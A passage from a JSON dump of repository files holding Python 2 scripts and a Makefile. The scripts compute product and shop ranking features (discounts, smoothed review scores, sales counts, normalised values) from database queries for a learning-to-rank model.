\\\\\\n\\t\\t\\t\\t\\tcharset = 'utf8',user = user, password = password, port = port)\\n\\t\\texcept Exception, ex:\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tprint 'Can not connect to dbserver'\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\t\\traise Exception, ex\\n\\t\\treturn dbserver\\n\\n\\tdef getProductInfo(self, filepath):\\n\\t\\tsql = self.sql\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tself.conn_search_db.execute(sql)\\n\\t\\t\\tfile = open(filepath, 'w+')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = self.conn_search_db.fetchmany(10000)\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tfor i in range(len(line)):\\n\\t\\t\\t\\t\\tarray = line[i]\\n\\t\\t\\t\\t\\tif len(array) != 16:\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\tpid, is_new, is_mall, is_discount, score, discount, \\\\\\n\\t\\t\\t\\t\\t\\tsale_day, n_sale, sale_month, n_keep, \\\\\\n\\t\\t\\t\\t\\t\\treview_total, price, dd_price, \\\\\\n\\t\\t\\t\\t\\t\\tpromo_price, n_days = self.caculateModel(array)\\n\\t\\t\\t\\t\\td_uv = self.getUV(pid, self.pid_day_uv)\\n\\t\\t\\t\\t\\tw_uv = self.getUV(pid, self.pid_week_uv)\\n\\t\\t\\t\\t\\tm_uv = self.getUV(pid, self.pid_month_uv)\\n\\t\\t\\t\\t\\tproduct_info = \\\"%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\" % (is_mall, is_new, \\\\\\n\\t\\t\\t\\t\\t\\tis_discount, score, discount, sale_day, n_sale, sale_month, n_keep, review_total, price, dd_price,\\\\\\n\\t\\t\\t\\t\\t\\tpromo_price, d_uv, w_uv, m_uv, n_days)\\n\\t\\t\\t\\t\\tfile.write(\\\"%s\\\\t%s\\\\n\\\" % (pid, product_info))\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\t\\t\\tif self.conn_search_db:\\n\\t\\t\\t\\tself.conn_search_db.close()\\n\\t\\n\\t\\n\\tdef readProductInfo(self, srcpath, n_features):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(srcpath, 'r')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = file.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tarray = line.strip(\\\"\\\\n\\\").split(\\\"\\\\t\\\")\\n\\t\\t\\t\\tlenght = len(array)\\n\\t\\t\\t\\tif lenght != n_features:\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\tpid = str2int(array[0])\\n\\t\\t\\t\\tproduct_info = \\\"\\\"\\n\\t\\t\\t\\tfor i in range(1, lenght):\\n\\t\\t\\t\\t\\tproduct_info = \\\"%s\\\\t%s\\\" % (product_info, array[i])\\n\\t\\t\\t\\tproduct_info = product_info.strip(\\\"\\\\t\\\")\\n\\t\\t\\t\\tself.pid_info[pid] = product_info\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\t\\t\\n\\t\\n\\tdef IsNewProduct(self, pid, first_input_date, cat_paths):\\n\\t\\tif first_input_date==None or str(first_input_date)=='':\\n\\t\\t\\treturn 0, 0\\n\\t\\tif cat_paths == None:\\n\\t\\t\\tcat_paths = \\\"01\\\"\\n\\t\\t\\n\\t\\tmall_new_days = 14\\n\\t\\tpub_new_days = 30\\n\\t\\tmall_time = ( datetime.datetime.now() + \\\\\\n\\t\\t\\t\\tdatetime.timedelta(days=-mall_new_days) ).strftime('%Y-%m-%d')\\n\\t\\tpub_time = ( datetime.datetime.now() + \\\\\\n\\t\\t\\t\\tdatetime.timedelta(days=-pub_new_days) ).strftime('%Y-%m-%d')\\n\\n\\t\\tmall_new = int(time.mktime(time.strptime(mall_time, '%Y-%m-%d')))\\n\\t\\tpub_new = int(time.mktime(time.strptime(pub_time, '%Y-%m-%d')))\\n\\t\\tfirst_date = int(time.mktime(\\\\\\n\\t\\t\\t\\ttime.strptime(first_input_date.strftime('%Y-%m-%d'), '%Y-%m-%d')))\\n\\n\\t\\tcat = cat_paths.strip().split('|')[0].split('.')[0]\\n\\t\\t\\n\\t\\tis_mall_product = 0\\n\\t\\tif cat == \\\"58\\\":\\n\\t\\t\\tis_mall_product = 1\\n\\t\\t\\n\\t\\tif cat==\\\"58\\\" and (first_date-mall_new)>0:\\n\\t\\t\\treturn 1, is_mall_product\\n\\t\\telif cat==\\\"01\\\" and (first_date-pub_new)>0:\\n\\t\\t\\treturn 1, is_mall_product\\n\\t\\telse:\\n\\t\\t\\treturn 0, is_mall_product\\n\\t\\treturn 0, is_mall_product\\n\\n\\tdef IsDiscountProduct(self, begin_date, end_date):\\n\\t\\tif begin_date != None:\\n\\t\\t\\tnow_date = datetime.datetime.now()\\n\\t\\t\\tif now_date >= begin_date:\\n\\t\\t\\t\\tif end_date != None:\\n\\t\\t\\t\\t\\tif now_date <= end_date:\\n\\t\\t\\t\\t\\t\\treturn 1\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\treturn 1\\n\\t\\treturn 0\\n\\n \\tdef calDiscount(self, price, dd_price, promo_price, isDiscount):\\n\\t\\tdiscount = 0\\n\\t\\tprice = str2float(price)\\n\\t\\tdd_price = str2float(dd_price)\\n\\t\\tpromo_price = str2float(promo_price)\\n\\n\\t\\tif price == 0:\\n\\t\\t\\tdiscount = 10\\n\\t\\telse:\\n\\t\\t\\tif isDiscount == 1 and promo_price != 0:\\n\\t\\t\\t\\tdiscount = promo_price/(1.0*price)*10\\n\\t\\t\\telif dd_price != 0:\\n\\t\\t\\t\\tdiscount = dd_price/(1.0*price)*10\\n\\t\\t\\telse:\\n\\t\\t\\t\\tdiscount = 0\\n\\n\\t\\treturn round(discount, 2), price, dd_price, promo_price\\n\\n\\tdef productScore(self, score, total_review_count):\\n\\t\\tif score == None:\\n\\t\\t\\tscore = 0\\n\\t\\tif total_review_count == None:\\n\\t\\t\\ttotal_review_count = 0\\n\\t\\tm = 100\\n\\t\\taverage_score = 5.0\\n\\t\\tval = (total_review_count*score + m*average_score)/(1.0*(total_review_count + m))\\n\\t\\treturn val\\n\\n\\tdef calSaledDays(self, input_day):\\n\\t\\tif input_day == None:\\n\\t\\t\\treturn 1000\\n\\t\\tnowday = datetime.datetime.now()\\n\\t\\tdelta = nowday - input_day\\n\\t\\treturn delta.days\\t\\n\\n\\tdef caculateModel(self, array):\\n\\t\\tpid = str2int(array[0]) # get pid\\t\\t\\n\\t\\tis_new, is_mall = self.IsNewProduct(pid, array[7], array[8]) #is new\\n\\t\\tis_discount = self.IsDiscountProduct(array[5], array[6]) #is discount\\n\\t\\tdiscount, price, dd_price, promo_price = self.calDiscount(array[10], \\\\\\n\\t\\t\\t\\t\\tarray[11], array[12], is_discount) # discount\\n\\t\\tn_keep = str2int(array[4]) #keep num\\n\\t\\tn_sale = str2int(array[1]) #sale num\\n\\t\\tscore = str2float(array[3]) # product score\\n\\t\\treview_total = str2int(array[2]);\\n\\t\\tsale_day = str2int(array[13]);\\n\\t\\tsale_month = str2int(array[14]);\\n\\t\\tn_days = self.calSaledDays(array[15])\\n\\t\\t\\n\\t\\treturn pid, is_new, is_mall, is_discount, score, discount, sale_day,\\\\\\n\\t\\t\\t\\t n_sale, sale_month, n_keep, review_total, price, dd_price, promo_price, n_days;\\n\\n\\tdef run(self, search_log_file = \\\"../data/product_info_\\\", n_features = 18):\\n\\t\\ttry:\\n\\t\\t\\tcurday = datetime.datetime.now().strftime('%Y-%m-%d')\\n\\t\\t\\tcurday = getSpecifiedDay(curday, 1)\\n\\t\\t\\t\\n\\t\\t\\tsearch_log_file = \\\"%s%s\\\" % (search_log_file, curday.replace(\\\"-\\\", \\\"\\\"))\\n\\t\\t\\tif not os.path.exists(search_log_file):\\n\\t\\t\\t\\tself.readUV(\\\"../data/temp_data/uv_d_%s\\\" % curday, self.pid_day_uv)\\n\\t\\t\\t\\tself.readUV(\\\"../data/temp_data/uv_w_%s\\\" % curday, self.pid_week_uv)\\n\\t\\t\\t\\tself.readUV(\\\"../data/temp_data/uv_m_%s\\\" % curday, self.pid_month_uv)\\n\\t\\t\\t\\tself.getProductInfo(search_log_file)\\n\\t\\t\\tself.readProductInfo(search_log_file,n_features)\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\t\\n\\n\\ndef getSpecifiedDay(curday, n):\\n\\t'''\\n\\tget the n days ago\\n\\t'''\\n\\ttry:\\n\\t\\tarray = curday.split('-')\\n\\t\\tif len(array) != 3:\\n\\t\\t\\treturn\\n\\t\\tyear = int(array[0])\\n\\t\\tmonth = int(array[1])\\n\\t\\tday = int(array[2])\\n\\t\\tpreday = datetime.datetime(year, month, day) - datetime.timedelta(n)\\n\\t\\treturn preday.strftime(\\\"%Y-%m-%d\\\")\\n\\texcept Exception ,ex:\\n\\t\\tprint 'get preday error~~'\\n\\t\\traise ex\\n\\treturn\\n\\ndef str2float(f_str):\\n\\tval = 0\\n\\ttry:\\n\\t\\tval = float(f_str)\\n\\t\\tif val < 0:\\n\\t\\t\\tval = 0\\n\\texcept:\\n\\t\\tval = 0\\n\\treturn val\\n\\t\\t\\t\\ndef str2int(i_str):\\n\\tval = 0\\n\\ttry:\\n\\t\\tval = int(i_str)\\n\\t\\tif val < 0:\\n\\t\\t\\tval = 0\\n\\texcept:\\n\\t\\tval = 0\\n\\treturn val\\n\\n\\ndef main():\\n\\to = ProductInfo()\\n\\to.run()\\n\\nif __name__==\\\"__main__\\\":\\n\\tmain()\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6042327880859375,\n \"alphanum_fraction\": 0.6179894208908081,\n \"avg_line_length\": 21.404762268066406,\n \"blob_id\": \"a578a926dd31ab9174e445c5232763be874b2bd1\",\n \"content_id\": \"9ff9464bfd83f4965efa6d1d7a72dbeb1d0680c8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 945,\n \"license_type\": \"no_license\",\n \"max_line_length\": 76,\n \"num_lines\": 42,\n \"path\": \"/bin/set_thrift_server_data.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\nimport sys\\n\\nclass SetThriftData():\\n\\tdef __init__(self):\\n\\t\\tself.job_name = \\\"thrift data\\\"\\n\\n\\tdef saveData(self, srcfilepath, dispath):\\n\\t\\tsrcfile = None\\n\\t\\tdisfile_array = None\\n\\t\\ttry:\\n\\t\\t\\tsrcfile = open(srcfilepath, 'r')\\n\\t\\t\\tdisfile_array = [open('%s%s' % (dispath, i), 'w+') for i in range(10000)]\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = srcfile.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tarray = line.strip(\\\"\\\\n\\\").split(\\\"\\\\t\\\")\\n\\t\\t\\t\\tpid = int(array[0])\\n\\t\\t\\t\\tindex = pid%10000\\n\\t\\t\\t\\tdisfile_array[index].write(line)\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif srcfile:\\n\\t\\t\\t\\tsrcfile.close()\\n\\t\\t\\tif disfile_array:\\n\\t\\t\\t\\tfor i in range(len(disfile_array)):\\n\\t\\t\\t\\t\\tif disfile_array[i]:\\n\\t\\t\\t\\t\\t\\tdisfile_array[i].close()\\n\\n\\ndef main():\\n\\tif len(sys.argv) != 2:\\n\\t\\treturn\\n\\tcurday = sys.argv[1]\\t\\n\\tsrcfilepath = \\\"../data/product_info_%s\\\" % curday\\n\\tdispath = \\\"../data/thrift_data/temp_data_\\\"\\n\\to = SetThriftData()\\n\\to.saveData(srcfilepath, dispath)\\n\\nif __name__==\\\"__main__\\\":\\n\\tmain()\\t\\t\\t\\n\"\n },\n {\n \"alpha_fraction\": 0.5095056891441345,\n \"alphanum_fraction\": 0.5209125280380249,\n \"avg_line_length\": 11.476190567016602,\n \"blob_id\": \"108dd21aa3872265593b124e59e9303e9e22bf06\",\n \"content_id\": \"2a1f01c9510b0b27023e622427ebac7193976397\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Makefile\",\n \"length_bytes\": 263,\n \"license_type\": \"no_license\",\n \"max_line_length\": 33,\n \"num_lines\": 21,\n \"path\": \"/bin/Makefile\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"CC = g++ \\nINCLUDE =\\nBIN = \\nLIB =\\n \\nCFLAGS = -D_GNU_SOURCE -Wall -g \\n\\nLDFLAGS = \\nTARGET = map2hashmap\\n\\t\\t\\nall: $(TARGET)\\n\\t\\t\\n$(TARGET):map2staticmap.o\\n\\t$(CC) -o $@ $^ $(LIB)\\n\\t\\t\\n%.o : %.cpp\\n\\t$(CC) -c $(CFLAGS) $< $(INCLUDE)\\n\\t\\t\\nclean :\\n\\t$(RM) *.o\\n\\t$(RM) map2hashmap \\n\"\n },\n {\n \"alpha_fraction\": 0.661282479763031,\n \"alphanum_fraction\": 0.6693587303161621,\n \"avg_line_length\": 25.852174758911133,\n \"blob_id\": \"dfb235ccb09348467038c4afcbe4cedcc411a548\",\n \"content_id\": \"33e5abc22b2581a420f44e0befb4ff19f9ca5c08\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6191,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 230,\n \"path\": \"/bin/get_shop_info.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#encoding:utf-8\\n\\nimport sys\\nreload(sys)\\nsys.setdefaultencoding('utf-8')\\n\\nimport os\\nimport re\\nimport time, datetime\\nimport math\\nfrom ConfigParser import RawConfigParser\\nfrom ConfigParser import *\\n\\nsys.path.append('../lib')\\nimport logging\\nimport logging.config\\nfrom mail_sender import MailSender\\nfrom data_access_object import DataObject\\nfrom db_factory import DBFactory\\n\\nclass ShopInfo(object):\\n\\tdef __init__(self, conf_path = '..'):\\n\\t\\t'''\\n\\t\\tinit\\n\\t\\t'''\\n\\t\\t#db redis config file position\\n\\t\\tself.conncfg = '%s/conf/connect.cfg' % (conf_path)\\n\\t\\t#log config file\\n\\t\\tself.logcfg = '%s/conf/logger.conf' % (conf_path)\\n\\t\\tlogging.config.fileConfig(self.logcfg)\\n\\t\\tself.logger = logging.getLogger('log')\\n\\t\\t#other config such as email recivers\\n\\t\\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\\n\\t\\tself.fileconfig = RawConfigParser()\\n\\t\\tself.fileconfig.read(self.filecfg)\\n\\t\\t#sql config file\\n\\t\\tself.sqlcfg = '%s/conf/sql.cfg' % (conf_path)\\n\\t\\tself.config = RawConfigParser()\\n\\t\\tself.config.read(self.conncfg)\\n\\t\\tself.sqlfig = RawConfigParser()\\n\\t\\tself.sqlfig.read(self.sqlcfg)\\n\\t\\t#connect db redis\\n\\t\\tself.conn_shop_db = self.connDbserver('com_shop_review')\\n\\t\\tself.sql = self.sqlfig.get('select', 'select_shop_info')\\t\\n\\t\\t# config email info\\n\\t\\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\\n\\t\\tself.mail_sender = MailSender()\\n\\n\\t\\t#dict\\n\\t\\tself.shopid_info_score = {}\\n\\t\\tself.shopid_price_score = {}\\n\\t\\tself.shopid_payment_score = {}\\n\\t\\tself.shopid_deliver_score = {}\\n\\t\\tself.shopid_package_score = {}\\n\\t\\tself.shopid_average_score = {}\\n\\t\\t\\n\\t\\t#shop average score\\n\\t\\tself.shopid_scores = {}\\n\\t\\t\\n\\n\\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\\n\\t\\temail_list = self.fileconfig.get(section,part).split(',')\\n\\t\\tmail_receiver = []\\n\\t\\tlenght = len(email_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\temail = email_list[i].strip(' ')\\n\\t\\t\\tif email == '':\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tmail_receiver.append(email)\\n\\t\\treturn mail_receiver\\n\\n\\tdef connDbserver(self, section):\\n\\t\\tdbserver = None\\n\\t\\ttry:\\n\\t\\t\\tdbtype = self.config.get(section, 'dbtype')\\n\\t\\t\\thost = self.config.get(section, 'host')\\n\\t\\t\\tport = self.config.get(section, 'port')\\n\\t\\t\\tuser = self.config.get(section, 'user')\\n\\t\\t\\tpassword = self.config.get(section, 'password')\\n\\t\\t\\tdatabase = self.config.get(section, 'database')\\n\\t\\t\\tdbserver = DBFactory.Connect(dbtype = dbtype, host = host, database = database, \\\\\\n\\t\\t\\t\\t\\tcharset = 'utf8',user = user, password = password, port = port)\\n\\t\\texcept Exception, ex:\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tprint 'Can not connect to dbserver'\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\t\\traise Exception, ex\\n\\t\\treturn dbserver\\n\\n\\tdef getShopInfo(self, curday):\\n\\t\\tsql = self.sql % curday\\n\\t\\ttry:\\n\\t\\t\\tself.conn_shop_db.execute(sql)\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = self.conn_shop_db.fetchmany(10000)\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tfor i in range(len(line)):\\n\\t\\t\\t\\t\\tarray = line[i]\\n\\t\\t\\t\\t\\tshopid = array[0]\\n\\t\\t\\t\\t\\tself.addInfoScore(shopid, array[1])\\n\\t\\t\\t\\t\\tself.addPriceScore(shopid, array[2])\\n\\t\\t\\t\\t\\tself.addPaymentScore(shopid, array[3])\\n\\t\\t\\t\\t\\tself.addDeliverScore(shopid, array[4])\\n\\t\\t\\t\\t\\tself.addPackageScore(shopid, array[5])\\n\\t\\t\\t\\t\\tself.addAverageScore(shopid, array[6])\\t\\t\\t\\t\\t\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\tfinally:\\n\\t\\t\\tif self.conn_shop_db:\\n\\t\\t\\t\\tself.conn_shop_db.close()\\n\\t\\n\\tdef addInfoScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_info_score, shopid, score)\\n\\n\\tdef addPriceScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_price_score, shopid, score)\\n\\n\\tdef addPaymentScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_payment_score, shopid, score)\\n\\n\\tdef addDeliverScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_deliver_score, shopid, score)\\n\\n\\tdef addPackageScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_package_score, shopid, score)\\n\\n\\tdef addAverageScore(self, shopid, score):\\n\\t\\tself.addScore(self.shopid_average_score, shopid, score)\\n\\n\\tdef addScore(self, dt, shopid, score):\\n\\t\\tif dt == None:\\n\\t\\t\\tdt = {}\\n\\t\\t\\n\\t\\tif shopid not in dt:\\n\\t\\t\\tdt[shopid] = [0 for i in range(6)]\\n\\t\\t\\n\\t\\tif score == None or score < 0:\\n\\t\\t\\tscore = 0\\n\\t\\tif score > 5:\\n\\t\\t\\tscore = 5\\n\\t\\t\\n\\t\\tscore = int(score)\\t\\t\\n\\t\\tdt[shopid][score] += 1\\n\\t\\t\\t\\t\\n\\n\\tdef updataShopAllScore(self):\\n\\t\\t'''\\n\\t\\tcaculate all item socre's expectation for each shopid\\n\\t\\t'''\\n\\t\\tself.updateShopEachScores(self.shopid_info_score, \\\"info\\\")\\n\\t\\tself.updateShopEachScores(self.shopid_price_score, \\\"price\\\")\\n\\t\\tself.updateShopEachScores(self.shopid_payment_score, \\\"payment\\\")\\n\\t\\tself.updateShopEachScores(self.shopid_deliver_score, \\\"deliver\\\")\\n\\t\\tself.updateShopEachScores(self.shopid_package_score, \\\"package\\\")\\n\\t\\tself.updateShopEachScores(self.shopid_average_score, \\\"average\\\")\\t\\t\\n\\n\\tdef updateShopEachScores(self, dt, index):\\n\\t\\t'''\\n\\t\\tcaculate each score_item's expectation for each shopid \\n\\t\\t'''\\n\\t\\tE_score = 0\\n\\t\\tn_sum = 0\\n\\t\\tfor shopid, s_info in dt.items():\\n\\t\\t\\tE_score = 0\\n\\t\\t\\tn_sum = 0\\n\\t\\t\\tfor i in range(len(s_info)):\\n\\t\\t\\t\\tn_sum += s_info[i]\\n\\t\\t\\t\\tE_score += i*s_info[i]\\n\\t\\t\\t\\n\\t\\t\\tif n_sum == 0:\\n\\t\\t\\t\\tE_score = 0\\n\\t\\t\\telse:\\n\\t\\t\\t\\tE_score = E_score/(1.0*n_sum) \\n\\t\\t\\t\\n\\t\\t\\tR = 3.0\\n\\t\\t\\tc = 30\\n\\t\\t\\tE_score = (n_sum*E_score + c*R)/(n_sum + c)\\n\\t\\t\\tE_score\\t= round(E_score, 2)\\t\\n\\t\\n\\t\\t\\tif shopid not in self.shopid_scores:\\n\\t\\t\\t\\tself.shopid_scores[shopid] = {}\\n\\n\\t\\t\\tself.shopid_scores[shopid][index] = E_score\\n\\n\\tdef saveShopScore(self, filepath):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tfile = open(filepath, \\\"w+\\\")\\n\\t\\t\\tfor shopid, scores in self.shopid_scores.items():\\n\\t\\t\\t\\tprint shopid, scores\\n\\t\\t\\t\\tfile.write(\\\"%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" % (shopid, scores['info'], \\\\\\n\\t\\t\\t\\t\\tscores['price'],scores['payment'], scores['deliver'],\\\\\\n\\t\\t\\t\\t\\tscores['package'], scores['average']))\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tprint ex\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\n\\tdef run(self, filepath):\\t\\n\\t\\t'''\\n\\t\\t\\n\\t\\t'''\\n\\t\\tcurday = datetime.datetime.now() + datetime.timedelta(days=-30)\\n\\t\\tcurday = curday.strftime('%Y-%m-%d')\\t\\t\\n\\t\\tprint \\\"i am here 111\\\"\\t\\n\\t\\tself.getShopInfo(curday)\\n\\t\\tprint \\\"i am here 2222\\\"\\t\\n\\t\\tself.updataShopAllScore()\\n\\t\\tprint \\\"i am here 333\\\"\\t\\n\\t\\tself.saveShopScore(filepath)\\n\\t\\tprint \\\"i am here 444\\\"\\t\\n\\t\\t\\n\\ndef main():\\n\\tprint \\\"go ...\\\"\\n\\to = ShopInfo()\\n\\n\\tprint \\\"run ...\\\"\\n\\tfilepath = \\\"../data/shop_score.txt\\\"\\n\\to.run(filepath)\\n\\n\\tprint \\\"end !\\\"\\n\\nif __name__ == \\\"__main__\\\":\\n\\tmain()\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6483979821205139,\n \"alphanum_fraction\": 0.6580101251602173,\n \"avg_line_length\": 25.123348236083984,\n \"blob_id\": \"dbbea418917b829de3ef183d8685bbefd3eab873\",\n \"content_id\": \"99d3aad4d02891071b325943e04233e6f5287225\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5930,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 227,\n \"path\": \"/bin/caculate_features_for_model.py\",\n \"repo_name\": \"magicbupt/ltr_feartures_compute_job\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n\\nimport sys\\nreload(sys)\\nsys.setdefaultencoding('utf-8')\\n\\nimport math\\nfrom ConfigParser import RawConfigParser\\nfrom ConfigParser import *\\n\\nsys.path.append('../lib')\\nsys.path.append('lib')\\nimport logging \\nimport logging.config\\nfrom mail_sender import MailSender\\n\\nclass CaculateFeatures4Model():\\n\\tdef __init__(self, conf_path = '..', feature_num = 18):\\n\\t\\tself.feature_num = feature_num\\n\\t\\t#other config such as email recivers\\n\\t\\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\\n\\t\\tself.fileconfig = RawConfigParser()\\n\\t\\tself.fileconfig.read(self.filecfg)\\n\\t\\t# config email info\\n\\t\\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\\n\\t\\tself.mail_sender = MailSender()\\n\\n\\t\\tself.feature_index = {}\\n\\t\\tself.classify_index = {}\\n\\t\\tself.weight_index = {}\\n\\t\\tself.weight_value = {}\\n\\t\\tself.product_info = {}\\n\\t\\tself.product_norm_info = {}\\n\\t\\tself.setFeatureAndClassifyIndex()\\n\\n\\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\\n\\t\\temail_list = self.fileconfig.get(section,part).split(',')\\n\\t\\tmail_receiver = []\\n\\t\\tlenght = len(email_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\temail = email_list[i].strip(' ')\\n\\t\\t\\tif email == '':\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\tmail_receiver.append(email)\\n\\t\\treturn mail_receiver\\n\\n\\tdef setFeatureAndClassifyIndex(self, section=\\\"index\\\"):\\n\\t\\tfeature_list = self.fileconfig.get(section,\\\"feature_index\\\").strip().split(',')\\n\\t\\tlenght = len(feature_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\tarray = feature_list[i].strip().split(':')\\n\\t\\t\\tfeature_index = int(array[0])\\n\\t\\t\\tfeature_name = array[1].strip()\\n\\t\\t\\tself.feature_index[feature_index] = feature_name\\n\\n\\t\\tclassify_list = self.fileconfig.get(section,\\\"classify_index\\\").split(',')\\n\\t\\tlenght = len(classify_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\tarray = classify_list[i].strip().split(':')\\n\\t\\t\\tclassify_index = int(array[0])\\n\\t\\t\\tclassify_name = array[1].strip()\\n\\t\\t\\tself.classify_index[classify_name] = classify_index\\n\\n\\t\\tweight_list = self.fileconfig.get(section,\\\"weight_index\\\").split(',')\\n\\t\\tlenght = len(weight_list)\\n\\t\\tfor i in range(lenght):\\n\\t\\t\\tarray = weight_list[i].strip().split(':')\\n\\t\\t\\tweight_index = int(array[0])\\n\\t\\t\\tweight_name = array[1].strip()\\n\\t\\t\\tself.weight_index[weight_index] = weight_name\\n\\n\\tdef initWeights(self, filepath):\\n\\t\\tfile = None\\n\\t\\ttry:\\n\\t\\t\\tk = 0\\n\\t\\t\\tfile = open(filepath, 'r')\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = file.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\titem_name = self.weight_index[k]\\n\\t\\t\\t#\\tprint item_name\\n\\t\\t\\t\\tself.weight_value[item_name] = float(line.strip())\\n\\t\\t\\t\\tk += 1\\n\\t\\texcept Exception,ex:\\n\\t\\t\\tself.logger.error(ex)\\n\\t\\t\\tself.mail_sender.sendMail(self.mail_recivers)\\n\\t\\t\\traise Exception, ex\\t\\t\\n\\t\\tfinally:\\n\\t\\t\\tif file:\\n\\t\\t\\t\\tfile.close()\\n\\n\\tdef normalizedFeature(self, val, max_val = 2209, is_log = True):\\n\\t\\tif val > max_val:\\n\\t\\t\\treturn 1\\n\\t\\tif val <= 0:\\n\\t\\t\\treturn 0\\n\\n\\t\\tif is_log:\\n\\t\\t\\tval = math.log(val + 1)\\n\\t\\t\\tmax_val = math.log(max_val + 1)\\n\\t\\treturn val/max_val\\n\\n\\tdef loadLogData(self, srcfilepath, disfilepath):\\n\\t\\tsrcfile = None\\n\\t\\tdisfile = None\\n\\t\\ttry:\\n\\t\\t\\tsrcfile = open(srcfilepath, \\\"r\\\")\\n\\t\\t\\tdisfile = open(disfilepath, \\\"w+\\\")\\n\\t\\t\\tdefault_ctr = 1.0/(1 + math.exp(- self.weight_value['bias']))\\n\\t\\t\\tdisfile.write(\\\"%s\\\\t%s\\\\n\\\" % (-1, default_ctr))\\n\\t\\t\\twhile True:\\n\\t\\t\\t\\tline = srcfile.readline()\\n\\t\\t\\t\\tif not line:\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\tarray = line.strip(\\\"\\\\n\\\").split(\\\"\\\\t\\\")\\n\\t\\t\\t\\tlenght = len(array)\\n\\t\\t\\t\\tif lenght != self.feature_num:\\n\\t\\t\\t\\t\\tcontinue\\n\\n\\t\\t\\t\\tpid = str2int(array[0])\\n\\t\\t\\t\\tpid_feature = {}\\n\\t\\t\\t\\tfor i in range(1, self.feature_num):\\n\\t\\t\\t\\t\\titem_name = self.feature_index[i - 1]\\n\\t\\t\\t\\t\\tval = round(str2float(array[i]), 